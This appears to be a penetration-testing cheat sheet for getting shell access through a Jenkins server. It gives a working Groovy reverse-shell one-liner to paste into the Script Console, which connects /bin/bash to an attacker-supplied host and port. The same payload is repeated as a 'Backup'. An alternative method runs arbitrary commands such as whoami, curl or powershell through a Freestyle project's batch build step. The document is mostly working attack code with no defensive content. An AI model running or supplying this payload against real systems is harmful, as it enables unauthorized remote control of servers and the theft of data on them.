Manage Jenkins -> Script Console

Change host, port, cmd (if windows change /bin/bash to cmd)

String host="host"; int port=port;String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Backup:

String host="IP";

int port=PORT;

String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Alternative

1. Go to New Item-> Freestyle Project -> Name it anything you want.

2. Go to Build (or Build Triggers)-> under Build Section, select Execute Windows Batch Command from dropdown.

3. When command box appear can type in commands already like whoami, curl, powershell etc.

4. Click save, then click Build Now on the left.

5. On left side bottom, a new Build History will appear. Click on that (usually #1) and click Console Output on the left to see the output.
